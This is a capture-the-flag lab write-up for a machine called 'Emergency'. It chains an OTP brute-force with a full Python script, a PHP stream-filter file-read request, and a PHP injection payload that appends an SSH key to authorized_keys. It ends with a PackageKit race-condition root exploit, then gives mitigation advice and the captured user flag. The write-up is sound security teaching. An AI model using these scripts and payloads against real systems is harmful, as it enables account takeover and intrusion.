Emergency - HC Writeup

2026-05-01·6 min read·
ctfwebphplfiotpprivilege-escalation

Target Information

  • IP Address: 172.16.1.125 (emergency.hc)
  • Difficulty: Medium
  • Tags: Web, PHP LFI, OTP Brute-force, Privilege Escalation

Reconnaissance

Port Scanning

Initial enumeration with nmap:

$bash
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap emergency.hc

Results:

$code
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.x
80/tcp open  http    Apache/PHP

Web Enumeration

Password Reset Flow — OTP Discovery

The /forgot-password.php endpoint issued a 4-digit numeric OTP (0000–9999) per reset request. No rate limiting and no account lockout were enforced.

Endpoint: /forgot-password.php

Request:

$http
POST /forgot-password.php HTTP/1.1
Host: emergency.hc
Content-Type: application/x-www-form-urlencoded
 
email=dr.henrique%40emergency.hc

Response:

$http
HTTP/1.1 200 OK
Content-Type: text/html
 
OTP sent to dr.henrique@emergency.hc

File Download Endpoint — LFI via PHP Stream Filter

/download.php concatenated path and arq parameters directly into a file path with no sanitization, allowing PHP stream wrappers.

Endpoint: /download.php

Request:

$http
GET /download.php?path=php://filter/convert.base64-encode/resource=&arq=download.php HTTP/1.1
Host: emergency.hc
User-Agent: Mozilla/5.0

Response:

$http
HTTP/1.1 200 OK
Content-Type: application/octet-stream
 
PD9waHAKcmVxdWlyZSBfX0RJUl9f...  (base64-encoded PHP source)

Exploitation: OTP Brute-Force → Admin Takeover

Multithreaded OTP Attack

Target had no rate limiting on the 4-digit code space (10,000 possibilities). Script spawned 20 threads; each triggered a fresh OTP for dr.henrique@emergency.hc then sequentially probed all codes within the same session.

Command:

$bash
python3 ctf_attack.py

Result:

$code
[HIT t3] code=XXXX token=<signed_reset_token>
[+] token=<signed_reset_token>
Post new password: 200

New password set → authenticated as administrator.


Web Enumeration (Post-Auth)

PHP Source Enumeration via Stream Filter

Using the LFI primitive, decoded PHP sources revealed the internal write path:

Files leaked:

$bash
# /Save_Parameters.php
GET /download.php?path=php://filter/convert.base64-encode/resource=&arq=Save_Parameters.php
 
# /announcement.php
GET /download.php?path=php://filter/convert.base64-encode/resource=&arq=announcement.php

Findings:

  • /Save_Parameters.php — writes obs POST field verbatim into announcement.php
  • announcement.php — executed on every page load as www-data
  • App config revealed /home/hsantamaria/.ssh/ bind-mounted from host into container
  • www-data had write access to the bind-mounted SSH directory

Exploitation: PHP Injection → SSH Key Injection

PHP Write Primitive

With the bind mount confirmed, Save_Parameters.php became the escalation path — any PHP written to announcement.php would execute as www-data inside the container and affect the host's SSH authorized_keys.

Payload:

$http
POST /Save_Parameters.php HTTP/1.1
Host: emergency.hc
Cookie: PHPSESSID=<session>
Content-Type: application/x-www-form-urlencoded
 
tipo=s&obs=<?php file_put_contents("/home/hsantamaria/.ssh/authorized_keys", "<id_rsa.pub>\n", FILE_APPEND); ?>

Result:

$code
Announcement updated successfully. (836 bytes written)

Triggering Execution

$bash
curl -s http://emergency.hc/announcement.php -b "PHPSESSID=<session>"
# (empty response — PHP ran cleanly, key injected)

Shell

$bash
ssh -i ~/.ssh/id_rsa hsantamaria@emergency.hc

Result:

$bash
[+] Got shell as hsantamaria
uid=1001(hsantamaria) gid=1001(hsantamaria) groups=1001(hsantamaria)

Post-Exploitation

Environment Enumeration

$bash
id
cat ~/uS3R.txt
ls -la ~/.ssh/
uname -a

Findings:

  • User flag at ~/uS3R.txt
  • Host is Ubuntu with PackageKit installed
  • CVE-2026-41651 (PackageKit TOCTOU) applicable

Privilege Escalation: CVE-2026-41651 (PackageKit TOCTOU)

Enumeration

PackageKit's InstallFiles D-Bus method had a TOCTOU race between SIMULATE and the real install. Two transactions dispatched back-to-back allowed swapping the package after simulation but before dpkg validation, causing PackageKit (root) to install an attacker-controlled payload.

$bash
dpkg -l packagekit
# packagekit  1.x.x  installed

Exploitation

Upload precompiled exploit via Penelope:

$bash
(Penelope)─(Session [1])> upload cve-2026-41651
[+] Upload OK /tmp/cve-2026-41651

Execute:

$bash
chmod +x /tmp/cve-2026-41651 && /tmp/cve-2026-41651

Result:

$bash
[*] Transaction : /2_ceaddadc
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[+] SUCCESS — SUID bash at t+2000ms
uid=1001(hsantamaria) euid=0(root)
.suid_bash-5.2# whoami
root

ROOT OBTAINED!


Attack Chain Summary

$code
1. OTP brute-force on /forgot-password.php (no rate limit, 4-digit code)
   ↓
2. Admin session obtained → access to authenticated endpoints
   ↓
3. PHP stream filter LFI on /download.php → source enumeration → bind mount discovered
   ↓
4. PHP write primitive via /Save_Parameters.php → SSH key injected into host via bind mount
   ↓
5. SSH shell as hsantamaria → user flag
   ↓
6. CVE-2026-41651 PackageKit TOCTOU → SUID bash → root

Vulnerabilities Summary

VulnerabilityCWESeverityImpact
OTP brute-force (no rate limiting)CWE-307HighAdmin account takeover
PHP stream filter LFICWE-22HighArbitrary PHP source disclosure, bind mount discovery
Unsanitized PHP write to executed fileCWE-94CriticalRCE as www-data, SSH key injection
CVE-2026-41651 PackageKit TOCTOUCWE-367HighLocal privilege escalation to root

Mitigation Recommendations

Application Level

  1. Rate-limit OTP validation:
    • Max 5 attempts per OTP, lockout after threshold, OTP expiry ≤ 5 min
$php
// Example: enforce attempt count in session
if ($_SESSION['otp_attempts'] >= 5) {
    http_response_code(429);
    die('Too many attempts');
}
  1. Sanitize file path parameters:
    • Allowlist filenames, strip wrappers, never concatenate user input into include/file_get_contents
$php
$allowed = ['report.pdf', 'manual.pdf'];
if (!in_array($arq, $allowed, true)) {
    http_response_code(400);
    die('Invalid file');
}
  1. Never write user input into executed PHP files:
    • Store announcements in a database, render via template; never file_put_contents into .php
$php
// BAD
file_put_contents('announcement.php', "<?php echo '$obs'; ?>");
 
// GOOD
$stmt = $pdo->prepare("UPDATE announcements SET content = ?");
$stmt->execute([$obs]);

System Level

  1. Remove host→container bind mounts of sensitive directories:
    • Never mount ~/.ssh from host into a container running untrusted web code
$bash
# Remove from docker-compose.yml
# volumes:
#   - /home/hsantamaria/.ssh:/home/hsantamaria/.ssh
  1. Patch PackageKit:
    • Update to version not affected by CVE-2026-41651
$bash
apt-get update && apt-get upgrade packagekit

Tools Used


Proof of Concept Scripts

OTP Brute-Force (ctf_attack.py)

$python
#!/usr/bin/env python3
import requests
import threading
 
TARGET = "http://emergency.hc"
EMAIL  = "dr.henrique@emergency.hc"
FOUND  = threading.Event()
TOKEN  = [None]
 
def attack(thread_id):
    s = requests.Session()
    s.post(f"{TARGET}/forgot-password.php", data={"email": EMAIL})
    for code in range(10000):
        if FOUND.is_set():
            return
        r = s.post(f"{TARGET}/verify-otp.php", data={"otp": f"{code:04d}"}, allow_redirects=False)
        if r.status_code == 302 and "token=" in r.headers.get("Location", ""):
            FOUND.set()
            TOKEN[0] = r.headers["Location"].split("token=")[1]
            print(f"[HIT t{thread_id}] code={code:04d} token={TOKEN[0]}")
            return
 
threads = [threading.Thread(target=attack, args=(i,)) for i in range(20)]
for t in threads: t.start()
for t in threads: t.join()
 
if TOKEN[0]:
    r = requests.post(f"{TARGET}/reset-password.php",
                      data={"token": TOKEN[0], "password": "pwned123!"})
    print(f"Post new password: {r.status_code}")

Flags

$code
User Flag: /home/hsantamaria/uS3R.txt → hackingclub{fb508754f24e6cb74f11de3772352896}
Root Flag: /root/root.txt

References

CWE References:


Author: cbxcvl Date: 2026-05-01 Machine: Emergency (Hospital Santa Maria)